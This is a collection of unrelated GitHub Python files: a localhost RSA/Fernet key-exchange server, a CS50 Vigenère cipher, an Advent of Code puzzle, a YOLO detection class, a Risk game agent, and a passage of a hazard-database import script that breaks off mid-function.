{"seq_id":"35402912738","text":"# Python files\nimport socket\nimport os\nimport json\n\n# Crypto files\nfrom cryptography.fernet import Fernet\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import padding\n\n# My files\nfrom register import register\nfrom auth import auth\nfrom packet import Packet\nimport crypto\n\nclass SecureExchangeServer:\n    def __init__(self):\n        # Class variables\n        self.SERVER_IP = \"127.0.0.1\"\n        self.SERVER_PORT = 8008\n        self.privateName = \"serverprivate.pem\"\n        self.publicName = \"serverpublic.pem\"\n        self.database = \"{cwd}/database\".format(cwd=os.getcwd())\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n    def start(self):\n        # Load keys from file\n        __private = crypto.get_server_private_key(self.privateName)\n        public = crypto.get_server_public_key(self.publicName)\n\n        # Check keys exist\n        keySuccess = False\n        if __private is None or public is None:\n            # Check if key generation was successful\n            keySuccess = crypto.generate_rsa(self.privateName, self.publicName)\n            # If key generation fails, exit\n            if not keySuccess:\n                raise(\"Error generating server keys\")\n            else:\n                # If generation is successful, get new keys\n                __private = crypto.get_server_private_key(\"serverprivate.pem\")\n                public = crypto.get_server_public_key(\"serverpublic.pem\")\n\n        # Start socket\n        self.sock.bind((self.SERVER_IP, self.SERVER_PORT))\n        self.sock.listen(10)\n        self.__welcome()\n\n    def __welcome(self):\n        # Wait for connection\n        print(\"Waiting for connection...\")\n        connection, client_addr = self.sock.accept()\n\n        # Start talking\n        self.__talk(connection, client_addr)\n\n    def __talk(self, connection, client_addr):\n        \"\"\"Receive and read data sent by client\n\n                Parameters:\n                    connection: The connection with client via tcp\n                    client_addr: information about client address\n        \"\"\"\n        # Receive first message, should be 'HELLO,SecureClient'\n        data = self.__recv_pkt(connection)\n        pack = Packet(data)\n\n        if pack.get_fields(0) != \"HELLO\":\n            self.__err(\"Bad greeting\", connection)\n            return\n        else:\n            print(\"Successful connection from {user}\".format(user=client_addr))\n    \n        # Craft second packet, should be 'HELLO,SecureServer,<public key>'\n        publicKey = crypto.get_server_public_key(self.publicName)\n        \n        # Serialize key\n        pem = publicKey.public_bytes(\n            encoding=serialization.Encoding.PEM,\n            format=serialization.PublicFormat.SubjectPublicKeyInfo\n        ).decode('utf-8')\n\n        print(\"Sending my public key to {user}\".format(user=client_addr))\n        # Create key packet\n        pack = Packet(\"HELLO,SecureServer,{key}\".format(key=pem))\n\n        # Send packet\n        connection.sendall(pack.send())\n\n        # Wait for second message, should be '<FUNCTION>,<parameters>'\n        data = self.__recv_pkt(connection)\n\n        # Decrypt data\n        data = crypto.decrypt_rsa(data, crypto.get_server_private_key(self.privateName))\n\n        # Create packet\n        pack = Packet(data)\n\n        # Find options\n        if pack.get_fields(0) == \"REGISTER\":\n            # Packet should look like REGISTER,<username>,<password>,<pKey>\n            print(\"{user} attempting to register\".format(user=client_addr))\n            # Enter user into database\n            successfulRegister = register(connection, pack.get_fields(1), pack.get_fields(2), pack.get_fields(3))\n            \n            # Check if entered successfully\n            if successfulRegister:\n                print(\"{user} successfully registered as {username}\".format(user=client_addr, username=pack.get_fields(1)))\n                msg = \"DONE,OK\"\n            else:\n                print(\"{user} failed to register\".format(user=client_addr))\n                msg = \"DONE,ERR\"\n\n            # Craft response packet\n            pack = Packet(msg)\n\n            connection.sendall(pack.send())\n        elif pack.get_fields(0) == \"AUTH\":\n            # Decrypt message\n            # Authenticate user\n            user = pack.get_fields(1)\n            pwd = pack.get_fields(2)\n\n            key = auth(user, pwd)\n            if key is None:\n                # Bad message\n                msg = \"BAD\"\n\n                # Encrypt message\n                msgEnc = crypto.encrypt_rsa(msg, crypto.get_user_public_key(user))\n\n                # Create packet\n                pack = Packet()\n                pack.add_encrypted(msgEnc)\n\n                connection.sendall(pack.send())\n                self.__err(\"Issue authenticating user.\", connection)\n                return\n\n            # Create packet\n            pack = Packet(\"OK\")\n\n            # Create session key\n            key = crypto.generate_fernet()\n\n            # Encrypt key\n            safeKey = crypto.encrypt_rsa(key, crypto.get_user_public_key(user))\n\n            # Add session key to packet\n            pack.add_encrypted(safeKey)\n\n            # Send message\n            connection.sendall(pack.send())\n        elif pack.get_fields(0) == \"USER\":\n            # Packet should be USER,<username>\n            self.__check_user(pack.get_fields(1), connection)  # Pass info to check method\n        else:\n            self.__err(\"Not implemented yet\", connection)\n\n        connection.close()\n        self.__welcome()\n\n    \n    def __check_user(self, user, connection):\n        # Access user masterfile\n        masterList = None\n        with open(\"{database}/users/masterfile.json\".format(database=self.database), \"r\") as f:\n            masterList = json.loads(f.read())\n            f.close()\n        \n        # Check if user exists\n        if user in masterList:\n            exists = \"YES\"\n        else:\n            exists = \"NO\"\n\n        # Craft response packet\n        # Format: USER,<exists>\n        pack = Packet(\"USER,{exists}\".format(exists=exists))\n\n        # Send packet to user, end connection\n        connection.sendall(pack.send())\n\n    def __recv_pkt(self, connection):\n        # Receive first chunk of packet\n        pkt = connection.recv(1024)\n\n        # Separate by comma, but can't decode encrypted data\n        separator = \",\".encode('utf-8')\n\n        # Get length of packet\n        length = int(pkt.split(separator, 1)[0].decode('utf-8'))\n        \n        # Separate data, encode back into bytes to maintain size counter\n        data = pkt.split(separator, 1)[1]\n\n        # Get bytes left to collect\n        remaining = length - len(data)\n\n        # Keep collecting bytes until there are none left\n        while remaining > 0:\n            # Collect new data\n            newData = connection.recv(1024)\n            # Updated bytes remaining\n            remaining -= len(newData)\n            # Append onto already collected data\n            data += newData\n\n        return data\n\n    def __err(self, msg, connection):\n        print(msg)\n        connection.close()\n        self.__welcome()","repo_name":"jcarr98/secure-exchange-server","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":7311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"42753932398","text":"# Vigenere's algorithm\n\nimport sys\nfrom cs50 import get_string\n\n# Check if there exist two arguments\nif len(sys.argv) != 2:\n    print(\"You have to pass TWO arguments!\")\n    sys.exit(1)\n\n# Get the key\nkey = sys.argv[1]\nfor c in key:\n    if not c.isalpha():\n        print(\"There is non-alphabetical character in the key!\")\n        sys.exit(1)\n\n# Prompt user to enter plain text\nplainText = get_string(\"plaintest: \")\nchiperText = \"\"\n\n# Iterate over each character in plain text\nj = 0\nfor i in range(len(plainText)):\n    char = plainText[i]\n\n    if char.isalpha():\n        j %= len(key)\n        # Convert key's i's character to it's alphabetical index\n        k = (ord(key[j]) - 65) if key[j].isupper() else (ord(key[j]) - 97)\n\n        if char.islower():\n            # ord(\"a\") equals 97\n            char = chr((((ord(plainText[i]) - 97) + k) % 26) + 97)\n        else:\n            # ord(\"A\") equals 65\n            char = chr((((ord(plainText[i]) - 65) + k) % 26) + 65)\n        j += 1\n\n    chiperText += char\n\nprint(f\"ciphertext: {chiperText}\")","repo_name":"elyas-esmaeili/CS50","sub_path":"pset6/vigenere/vigenere.py","file_name":"vigenere.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"73015436522","text":"import inputs, re, itertools\nfrom collections import namedtuple\ndef day14(in_, t_):\n\tReindeer = namedtuple('Reindeer', ['name', 'speed', 'endurance', 'rest'])\n\tR = []\n\tr = re.compile(r'(\\w*) can fly (\\d*) km/s for (\\d*) seconds, but then must rest for (\\d*) seconds.')\n\tfor name, speed, time, rest in r.findall(in_):\n\t\tR.append(Reindeer(name, int(speed), int(time), int(rest)))\n\t\t\n\tresult = {}\n\tfor i in range(1, t_+1):\n\t\t# print(i)\n\t\tdist = {}\n\t\tfor r in R:\n\t\t\tseconds = r.endurance * (i // (r.endurance + r.rest))\n\t\t\tlastLeg = i % (r.endurance + r.rest)\n\t\t\tseconds += lastLeg if lastLeg <= r.endurance else r.endurance\n\t\t\tdist.setdefault(seconds * r.speed, []).append(r.name)\n\t\t# print( sorted(dist.items(), reverse = True))\n\t\tmaxdist = max(dist.keys())\n\t\tfor j in dist[maxdist]:\n\t\t\tresult.setdefault(j, 0)\n\t\t\tresult[j] += 1\n\t\t# print(result)\n\t\n\tprint(result.items())\n\tprint(dist.items())\n\tprint(max(result.values()))\n\nday14(inputs.day14, inputs.day14time)","repo_name":"kittychi/adventofcode2015","sub_path":"day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"12049642846","text":"import os\nfrom PIL import Image\n\n'''\n\n    MADE BY ALEXIS SANCHEZ IG4 - BU-CROCCS\n    Class to store the different information of the objects predicted by YOLO\n\n'''\n\n\nclass Object:\n    \"\"\"\n        Parameters\n        ----------\n        label : str\n                The predicted class for the object\n        confidence : float\n                The confidence score for this object (> 0 & < 1)\n        x_center : float\n                The x center of the bounding box (real value in pixel)\n        y_center : float\n                The y center of the bounding box (real value in pixel)\n        box_width : float\n                 The width of the bounding box (real value in pixel)\n        box_height : float\n                The height of the bounding box (real value in pixel)\n    \"\"\"\n\n    def __init__(self, label, confidence, x_center, y_center, box_width, box_height):\n        self.label = label\n        self.confidence = confidence\n        self.x_center = x_center\n        self.y_center = y_center\n        self.box_width = box_width\n        self.box_height = box_height\n        self.x_min = None\n        self.x_max = None\n        self.y_min = None\n        self.y_max = None\n        self.objects_related = []\n\n    \"\"\"To calculate the top left point and the bottom right point of the prediction box which correspond to the (x_min, y_min) and (x_max, y_max)\n        \n        Do a diagram if you are not sure about what are doing this function\n        \n        Pixel count start at the top left of the image (0,0) ----------------> (x)\n                                                         |\n                                                         |\n                                                         |\n                                                         |\n                                                         |\n                                                         v\n                                                         (y)\n    \"\"\"\n\n    def calculaterealpredictionbox(self):\n        self.x_min = self.x_center - self.box_width / 2\n        self.x_max = self.x_center + self.box_width / 2\n        self.y_min = self.y_center - self.box_height / 2\n        self.y_max = self.y_center + self.box_height / 2\n\n    \"\"\"Function to calculate the area of the bounding box    \n    \"\"\"\n\n    def get_area(self):\n        return self.box_width * self.box_height\n","repo_name":"Alexis559/IG4_BU-CROCCS_YOLO_HELMET_DETECTION","sub_path":"darknet_python/Object.py","file_name":"Object.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15233919508","text":"from agent_base import AgentBase\nimport sys\n\nclass ClusterBased(AgentBase):\n    \"\"\"\n    This is a model of an Agent class based on sillysoft's Cluster agent's heuristic\n    \"\"\"\n    target_enemy_country = None\n\n    def __init__(self, id: int):\n        super().__init__(id)\n        self.log = False\n        # self.goal_continent = self._select_goal_continent()\n\n    # what happens if agent starts already with a country?\n    # def _select_goal_continent(self) -> str:\n    #     \"\"\"Select the best continent to take as a goal to conquer\"\"\"\n    #     goal_continent = None\n\n    #     continents = []\n\n    #     # Get all the continents with no owner\n    #     for continent in self.player_data['continents_data'].keys():\n    #         if self.player_data['continents_data'][continent]['owner'] == None:\n    #             continents.append(continent)\n\n    #     goal_continent_value = 0\n    #     goal_continent_enemies = float('inf')\n\n    #     # Get the continent with less enemy countries and more extra armies\n    #     for continent in continents:\n    #         continent_countries = self.player_data['continents_data'][continent]['countries']\n\n    #         n_enemies = 0\n    #         # Get the amount of continent countries owned by the enemy\n    #         for country in continent_countries:\n    #             if self.player_data['countries_data'][country]['owner'] != self.id:\n    #                 n_enemies += 1\n\n    #         # If it has less enemies than the goal continent, make it the goal\n    #         if n_enemies < goal_continent_enemies:\n    #             goal_continent = continent\n\n    #         # If it has the same amount of enemies than the goal continent, compare their values\n    #         elif n_enemies == goal_continent_enemies:\n    #             continent_value = continent_countries = self.player_data['continents_data'][continent]['extra_armies']\n    #             if continent_value > goal_continent_value:\n    #                 goal_continent = continent\n\n    #             # If they have the same value, take the small one\n    #             elif continent_value == goal_continent_value:\n    #                 continent_size = len(self.player_data['continents_data'][continent]['countries'])\n    #                 goal_continent_size = len(self.player_data['continents_data'][goal_continent]['countries'])\n\n    #                 if continent_size < goal_continent_size:\n    #                     goal_continent = continent\n\n    #     return goal_continent\n\n    def _get_best_continent_owned(self):\n        \"\"\"Get the best continent owned based on its extra armies\"\"\"\n        best_continent = None\n        best_continent_value = 0\n\n        # Compare continents owned to find the one that provides the most extra armies\n        for continent in self.player_data['continents_data'].keys():\n            if self.player_data['continents_data'][continent]['owner'] == self.id:\n                if self.player_data['continents_data'][continent]['extra_armies'] > best_continent_value:\n                    best_continent = continent\n                    best_continent_value = self.player_data['continents_data'][continent]['extra_armies']\n        \n        return best_continent\n\n    def _get_cluster_inner(self, cluster_root: str) -> list:\n        \"\"\"Get all the ally countries that are conected to the root and dont have a border\"\"\"\n        cluster_inner = []\n\n        for country in self.player_data['countries_owned']:\n            if country not in self.player_data['border_countries'].keys():\n                if country == cluster_root:\n                    cluster_inner.append(country)\n                elif self.player_data['connection_matrix'][country][cluster_root]:\n                    cluster_inner.append(country)\n\n        return cluster_inner\n\n    def _get_cluster_border(self, cluster_root: str) -> list:\n        \"\"\"Get all the ally countries that are conected to the root and have a border\"\"\"\n        cluster_border = []\n\n        for country in self.player_data['border_countries'].keys():\n            if country == cluster_root:\n                cluster_border.append(country)\n            elif self.player_data['connection_matrix'][country][cluster_root]:\n                cluster_border.append(country)\n\n        return cluster_border\n\n    def _get_moveable_troops(self, country) -> int:\n        \"\"\"Get all troops from a country able to be moved to another country\"\"\"\n        return self.player_data['countries_data'][country]['n_troops'] - 1\n                              \n    def _get_strongest_country(self, countries: list) -> str:\n        \"\"\"Get the country with most troops among the countries in a list\"\"\"\n        n_troops = 0\n        most_troops_country = None\n\n        for country in countries:\n            if self.player_data['countries_data'][country]['n_troops'] > n_troops:\n                n_troops = self.player_data['countries_data'][country]['n_troops']\n                most_troops_country = country\n\n        return most_troops_country  \n\n    def mobilize(self):\n        \"\"\"Decide what to do when state is mobilizing\"\"\"\n        if(self.player_data['n_new_troops'] == 0):\n            self._pass_turn()\n            self.target_enemy_country = None\n        else:\n            best_continent = self._get_best_continent_owned()\n\n            if best_continent != None:\n                cluster_root = self.player_data['continents_data'][best_continent]['countries'][0]\n                self._place_armies_on_cluster_border(cluster_root)\n                return\n            else:\n                easiest_continent_to_take = self._get_easiest_continent_to_take()\n                self._place_armies_to_take_continent(easiest_continent_to_take)\n                return\n\n    def _get_easiest_continent_to_take(self) -> str:\n        \"\"\"Get the continent with biggest (allies_troops / enemies_troops) rate\"\"\"\n        allies_per_enemies_rate = 0\n        easiest_continent = None\n\n        for continent in self.player_data['continents_data'].keys():\n            if self.player_data['continents_data'][continent]['owner'] == self.id:\n                continue\n\n            continent_countries = self.player_data['continents_data'][continent]['countries']\n            allies_troops = 0\n            enemies_troops = 0\n            for country in continent_countries:\n                if self.player_data['countries_data'][country]['owner'] == self.id:\n                    allies_troops += self.player_data['countries_data'][country]['n_troops']\n                else:\n                    enemies_troops += self.player_data['countries_data'][country]['n_troops']\n\n            # Will return a division by 0 if already own a continent\n            if (allies_troops / enemies_troops) >= allies_per_enemies_rate:\n                allies_per_enemies_rate = allies_troops / enemies_troops\n                easiest_continent = continent\n\n        return easiest_continent\n    \n    def _place_armies_on_cluster_border(self, cluster_root: str):\n        \"\"\"Place an armie on the weakest border country of the cluster\n        \n        Parameters\n        ----------\n        cluster_root: str\n            Is used to set the cluster. Can be any country in the cluster\n\n        Returns\n        -------\n        None\n        \"\"\"\n\n        cluster_border = self._get_cluster_border(cluster_root)\n\n        n_weakest_troops = float('inf')\n        weakest_border_country = None\n\n        # Find weakest country in the border\n        for country in cluster_border:\n            if self.player_data['countries_data'][country]['n_troops'] < n_weakest_troops:\n                weakest_border_country = country\n                n_weakest_troops = self.player_data['countries_data'][country]['n_troops']\n\n        if weakest_border_country == None:\n            print('cluster_border', cluster_border)\n            print('cluster_root:', cluster_root)\n            print(\"Algo de errado 1\")\n        \n        # Set one troop on the weakest border country\n        action = 'set_new_troops'\n        n_troops = 1\n        args = [n_troops, weakest_border_country]\n        self._call_action(action, args)\n\n    def _place_armies_to_take_continent(self, continent: str):\n        continent_countries = self.player_data['continents_data'][continent]['countries']\n\n        ally_countries_inside_continent = [country for country in continent_countries if self.player_data['countries_data'][country]['owner'] == self.id]\n\n        country_with_most_enemies = None\n        biggest_enemy_number = 0\n\n        # Find country owned inside continent with most enemies\n        for country in ally_countries_inside_continent:\n            n_enemy_troops = 0\n            for neighbour in self.player_data['countries_data'][country]['neighbours']:\n                if neighbour in self.player_data['continents_data'][continent]['countries']:\n                    if self.player_data['countries_data'][neighbour]['owner'] != self.id:\n                        n_enemy_troops += self.player_data['countries_data'][neighbour]['n_troops']\n            \n            if n_enemy_troops > biggest_enemy_number:\n                biggest_enemy_number = n_enemy_troops\n                country_with_most_enemies = country\n        if country_with_most_enemies != None:\n            action = 'set_new_troops'\n\n            n_troops = 1\n\n            args = [n_troops, country_with_most_enemies]\n\n            self._call_action(action, args)\n        # if there is no country inside continent find     \n        else:\n            # TODO\n            print('You should not be here')\n\n    def attack(self):\n        \"\"\"decides what to do when state is attacking\"\"\"\n        count = 0\n        # Check if can attack\n        for country in self.player_data['countries_owned']:\n            if self.player_data['countries_data'][country]['n_troops'] >= 4:\n                count += 1\n\n        # If not, pass the turn\n        if count == 0:\n            self._pass_turn()\n            return\n\n        best_continent = self._get_best_continent_owned()\n\n        if best_continent != None:\n            cluster_root = self.player_data['continents_data'][best_continent]['countries'][0]\n            self._attack_from_cluster(cluster_root)\n        else:\n            countries_owned = self.player_data['countries_owned']\n            country = self._get_strongest_country(countries_owned)\n            self._attack_from_cluster(country)\n\n    def _attack_from_cluster(self, cluster_root: str):\n        \n        # Check if the target was conquered\n        if self.target_enemy_country in self.player_data['countries_owned']:\n            self.target_enemy_country = None\n\n        if self.target_enemy_country != None:\n            did_consolidate_attack = self._consolidate_attack(cluster_root) # TODO\n            if did_consolidate_attack:\n                return\n\n        did_easy_attack = self._make_easy_attack(cluster_root)\n        if did_easy_attack:\n            return\n\n        did_isolated_attack = self._make_isolated_attack(cluster_root)\n        if did_isolated_attack:\n            return\n        \n        did_consolidate_attack = self._consolidate_attack(cluster_root)\n        if did_consolidate_attack:\n            return\n\n        self._pass_turn()        \n\n    def _make_easy_attack(self, cluster_root: str) -> bool:\n        \"\"\"\n        Search for cluster's enemy neighbours with only 1 troop\n        \n        Then attack it with the strongest ally country\n        \"\"\"\n\n        cluster_border = self._get_cluster_border(cluster_root)\n\n        one_troop_enemy_neighbours = []\n        attacker_options = []\n\n        # Get all enemy neighbours with 1 troop\n        for country in cluster_border:\n            neighbours = self.player_data['countries_data'][country]['neighbours']       \n            for neighbour in neighbours:\n                if self.player_data['countries_data'][neighbour]['owner'] != self.id:\n                    if self.player_data['countries_data'][neighbour]['n_troops'] == 1:\n                        if neighbour not in one_troop_enemy_neighbours:\n                            one_troop_enemy_neighbours.append(neighbour)\n                        if country not in attacker_options:\n                            # Check if country has chance to win\n                            if self.player_data['countries_data'][country]['n_troops'] > 2: \n                                attacker_options.append(country)\n\n        if len(one_troop_enemy_neighbours) == 0:\n            return False\n\n        if len(attacker_options) == 0:\n            return False\n\n        most_troops_country = self._get_strongest_country(attacker_options)\n        n_troops = self.player_data['countries_data'][most_troops_country]['n_troops']\n\n        for neighbour in self.player_data['countries_data'][most_troops_country]['neighbours']:\n            if self.player_data['countries_data'][neighbour]['owner'] != self.id:\n                if self.player_data['countries_data'][neighbour]['n_troops'] == 1:\n                    action = 'attack'\n                    if n_troops == 2:\n                        n_dice = 1\n                    elif n_troops == 3:\n                        n_dice = 2\n                    elif n_troops >= 4:\n                        n_dice = 3\n                    args = [n_dice, most_troops_country, neighbour]\n                    self._call_action(action, args)\n                    return True\n        \n        return False\n\n    def _make_isolated_attack(self, cluster_root: str) -> bool:\n        cluster_border = self._get_cluster_border(cluster_root)\n\n        isolated_enemies = []\n        attacker_options = []\n\n        for country in cluster_border:\n            enemies = self.player_data['border_countries'][country]\n            for enemy in enemies:\n                enemys_neighbours = self.player_data['countries_data'][enemy]['neighbours']\n                for enemys_neighbour in enemys_neighbours:\n                    # If it is not isolated, check next enemy\n                    if self.player_data['countries_data'][enemys_neighbour]['owner'] != self.id:\n                        break\n                    if enemy not in isolated_enemies:\n                        isolated_enemies.append(enemy)\n                    if country not in attacker_options:\n                        attacker_options.append(country)\n\n        if len(isolated_enemies) == 0:\n            return False\n        if len(attacker_options) == 0:\n            return False\n\n        most_troops_country = self._get_strongest_country(attacker_options)\n        n_troops = self.player_data['countries_data'][most_troops_country]['n_troops']\n\n        if n_troops == 1:\n            return False\n\n        neighbours = self.player_data['countries_data'][most_troops_country]['neighbours']\n\n        for neighbour in neighbours:\n            if neighbour in isolated_enemies:\n                action = 'attack'\n                if n_troops == 2:\n                    n_dice = 1\n                elif n_troops == 3:\n                    n_dice = 2\n                elif n_troops >= 4:\n                    n_dice = 3\n                args = [n_dice, most_troops_country, neighbour]\n                self._call_action(action, args)\n                return True\n        \n        return False    \n\n    def _consolidate_attack(self, cluster_root: str) -> bool:\n        # print('consolidate')\n        if self.target_enemy_country != None:\n            enemys_neighbours = self.player_data['countries_data'][self.target_enemy_country]['neighbours']\n\n            attacker_options = []\n\n            for neighbour in enemys_neighbours:\n                if self.player_data['countries_data'][neighbour]['owner'] == self.id:\n                    attacker_options.append(neighbour)\n\n            most_troops_country = self._get_strongest_country(attacker_options)\n            n_troops = self.player_data['countries_data'][most_troops_country]['n_troops'] # TODO\n\n            if n_troops == 1:\n                self.target_enemy_country = None\n                return False\n            \n            action = 'attack'\n            if n_troops == 2:\n                n_dice = 1\n            elif n_troops == 3:\n                n_dice = 2\n            elif n_troops >= 4:\n                n_dice = 3\n            args = [n_dice, most_troops_country, self.target_enemy_country]\n            self._call_action(action, args)\n            return True\n        \n        else:\n            cluster_border = self._get_cluster_border(cluster_root)\n\n            enemies = []\n\n            # Get all the enemies of the border\n            for country in cluster_border:\n                neighbours = self.player_data['countries_data'][country]['neighbours']\n                for neighbour in neighbours:\n                    if self.player_data['countries_data'][neighbour]['owner'] != self.id:\n                        if neighbour not in enemies:\n                            enemies.append(neighbour)\n\n            troops_rate = 0\n            \n            # Select the enemy with biggest (ally troops / enemy troops) rate\n            for enemy in enemies:\n                enemy_troops = self.player_data['countries_data'][enemy]['n_troops']\n                ally_troops = 0\n                neighbours = self.player_data['countries_data'][enemy]['neighbours']\n                for neighbour in neighbours: \n                    if self.player_data['countries_data'][neighbour]['owner'] == self.id:\n                        ally_troops += self.player_data['countries_data'][neighbour]['n_troops']\n\n                if (ally_troops / enemy_troops) > troops_rate:\n                    troops_rate = ally_troops / enemy_troops\n                    self.target_enemy_country = enemy\n            \n            if self.target_enemy_country != None:\n                return self._consolidate_attack(cluster_root)\n            else:\n                return False                \n\n    def conquer(self):\n        \"\"\"decides what to do when state is conquering\"\"\"\n        country_conquering = self.call_data['command']['args'][1]\n        country_conquered = self.call_data['command']['args'][2]\n\n        action = 'move_troops'\n\n        # If country conquering has only 1 border move everything to the conquered\n        if country_conquering in self.player_data['border_countries'].keys():\n            if len(self.player_data['border_countries'][country_conquering]) == 1:\n                n_troops = self._get_moveable_troops(country_conquering)\n                args = [n_troops, country_conquering, country_conquered]\n                self._call_action(action, args)\n                return\n        # If country conquered has only 1 border dont move any troops\n        elif country_conquering in self.player_data['border_countries'].keys():\n            if len(self.player_data['border_countries'][country_conquering]) == 1:\n                n_troops = 0\n                args = [n_troops, country_conquering, country_conquered]\n                self._call_action(action, args)\n                return\n\n        continent = self._get_easiest_continent_to_take()\n\n        # Get weakest country conquering border inside goal continent \n        country_conquering_border = self._get_weakest_enemy_neighbour_in_continent(country_conquering, continent)\n\n        # Get weakest country conquered border inside goal continent\n        country_conquered_border = self._get_weakest_enemy_neighbour_in_continent(country_conquered, continent)\n\n        # If country conquered has no border in continent dont move any troops\n        if country_conquered_border == None:\n            n_troops = 0\n            args = [n_troops, country_conquering, country_conquered]\n            self._call_action(action, args)\n            return  \n        # If country conquering has a border inside the continent\n        # and its armies are less than the country conquered border\n        # dont move any troops      \n        elif country_conquering_border != None:\n            if self.player_data['countries_data'][country_conquering_border]['n_troops'] < self.player_data['countries_data'][country_conquered_border]['n_troops']:\n                n_troops = 0\n                args = [n_troops, country_conquering, country_conquered]\n                self._call_action(action, args)\n                return\n        \n        # Move everything to conquered\n        n_troops = self._get_moveable_troops(country_conquering)\n        args = [n_troops, country_conquering, country_conquered]\n        self._call_action(action, args) \n        \n    def _get_weakest_enemy_neighbour_in_continent(self, country, continent) -> str:\n        border_countries = self.player_data['border_countries']\n\n        if country not in border_countries.keys():\n            return None\n        \n        country_borders = border_countries[country]\n\n        country_borders_in_continent = []\n\n        # Check if the country borders are in the continent\n        for country_border in country_borders:\n            if country_border in self.player_data['continents_data'][continent]['countries']:\n                country_borders_in_continent.append(country_border)\n\n        n_weakest_troops = float('inf')\n        weakest_border_country = None\n\n        # Get the weakest border country in the continent\n        for country_border in country_borders_in_continent:\n            if self.player_data['countries_data'][country_border]['n_troops'] < n_weakest_troops:\n                weakest_border_country = country_border\n                n_weakest_troops = self.player_data['countries_data'][country_border]['n_troops']\n\n        return weakest_border_country\n\n    def fortify(self):\n        best_continent = self._get_best_continent_owned()\n\n        if best_continent != None:\n            cluster_root = self.player_data['continents_data'][best_continent]['countries'][0]\n            self._fortify_cluster(cluster_root)\n        else:\n            countries_owned = self.player_data['countries_owned']\n            country = self._get_strongest_country(countries_owned)\n            self._fortify_cluster(country)\n\n    def _fortify_cluster(self, cluster_root: str):\n        \"\"\"Move all the troops from strongest country inside the cluster to the weakest country in the cluster border\"\"\"\n        cluster_border = self._get_cluster_border(cluster_root)\n        \n        cluster_inner = self._get_cluster_inner(cluster_root)\n\n        if (len(cluster_inner) == 0):\n            self._pass_turn()\n            return\n\n        from_country = self._get_strongest_country(cluster_inner)\n\n        n_weakest_troops = float('inf')\n        to_country = None\n\n        # Get weakest country in the border\n        for country in cluster_border:\n            if self.player_data['countries_data'][country]['n_troops'] < n_weakest_troops:\n                to_country = country\n                n_weakest_troops = self.player_data['countries_data'][country]['n_troops']\n\n        action = 'move_troops'\n        n_troops = self._get_moveable_troops(from_country)\n        args = [n_troops, from_country, to_country]\n        self._call_action(action, args)\n\nif __name__ == \"__main__\":\n    id = ClusterBased.read_id(sys.argv)\n\n    agent = ClusterBased(id)\n\n    agent.play()","repo_name":"rgferrari/Risk-Agents","sub_path":"cluster_based_agent.py","file_name":"cluster_based_agent.py","file_ext":"py","file_size_in_byte":23066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"5741864540","text":"import sys\nfrom cf_common import Contribution\nfrom database import db_connections\nimport db_settings\n\n\nVERBOSE = True\n\n\ndef verbose_message(msg):\n    \"\"\"\n    Display message if we are in verbose mode\n    \"\"\"\n    if VERBOSE:\n        sys.stderr.write(msg)\n\n\n_FOOTPRINT_DATA_QUERY = \"\"\"\nINSERT INTO hazard.footprint_data(\n    footprint_id, the_geom, intensity\n)\nVALUES (\n    %s,\n    ST_SetSRID(ST_Point(%s,%s),4326),\n    %s\n)\nRETURNING id\n\"\"\"\n\n\n_FOOTPRINT_QUERY = \"\"\"\nINSERT INTO hazard.footprint(\n    footprint_set_id, uncertainty_2nd_moment, trigger_footprint_id\n)\nVALUES (%s,%s,%s)\nRETURNING id\n\"\"\"\n\n\ndef _import_footprint(cursor, fsid, fp):\n    cursor.execute(_FOOTPRINT_QUERY, [\n        fsid,\n        fp.data_uncertainty_2nd_moment,\n        fp.triggering_footprint_id\n    ])\n    return cursor.fetchone()[0]\n\n\n_FOOTPRINT_SET_QUERY = \"\"\"\nINSERT INTO hazard.footprint_set(\n    event_id, process_type, imt, data_uncertainty\n)\nVALUES (%s,%s,%s,%s)\nRETURNING id\n\"\"\"\n\n\ndef _import_footprint_set(cursor, event_id, fs):\n    cursor.execute(_FOOTPRINT_SET_QUERY, [\n        event_id,\n        fs.process_type,\n        fs.imt,\n        fs.data_uncertainty\n    ])\n    return cursor.fetchone()[0]\n\n\n_EVENT_QUERY = \"\"\"\nINSERT INTO hazard.event(\n    event_set_id, calculation_method, frequency,\n    occurrence_probability, occurrence_time_start,\n    occurrence_time_end, occurrence_time_span,\n    trigger_hazard_type, trigger_process_type, trigger_event_id,\n    description\n)\nVALUES (\n    %s,%s, %s,\n    %s,%s,\n    %s,%s,\n    %s,%s,%s,\n    %s\n)\nRETURNING id\n\"\"\"\n\n\ndef _import_event(cursor, event_set_id, event):\n    cursor.execute(_EVENT_QUERY, [\n        event_set_id,\n        event.calculation_method,\n        event.frequency,\n        event.occurrence_prob,\n        event.occurrence_time_start,\n        event.occurrence_time_end,\n        event.occurrence_time_span,\n        event.trigger_hazard_type,\n        event.trigger_process_type,\n        event.trigger_event_id,\n        event.description\n    ])\n    return cursor.fetchone()[0]\n\n\n_EVENT_SET_QUERY = \"\"\"\nINSERT INTO hazard.event_set(\n    the_geom,\n    geographic_area_name, creation_date, hazard_type,\n    time_start, time_end, time_duration,\n    description,bibliography,is_prob\n)\nVALUES (\n    ST_SetSRID(\n        ST_MakeBox2D(\n            ST_Point(%s,%s),\n            ST_Point(%s,%s)\n        ),\n        4326\n    ),\n    %s,%s,%s,\n    %s,%s,%s,\n    %s,%s,%s\n)\nRETURNING id\n\"\"\"\n\n\ndef _import_event_set(cursor, es):\n    cursor.execute(_EVENT_SET_QUERY, [\n        # lon, lat for lower-left\n        es.geographic_area_bb[1], es.geographic_area_bb[0],\n        # lon, lat for top-right\n        es.geographic_area_bb[3], es.geographic_area_bb[2],\n        es.geographic_area_name,\n        es.creation_date,\n        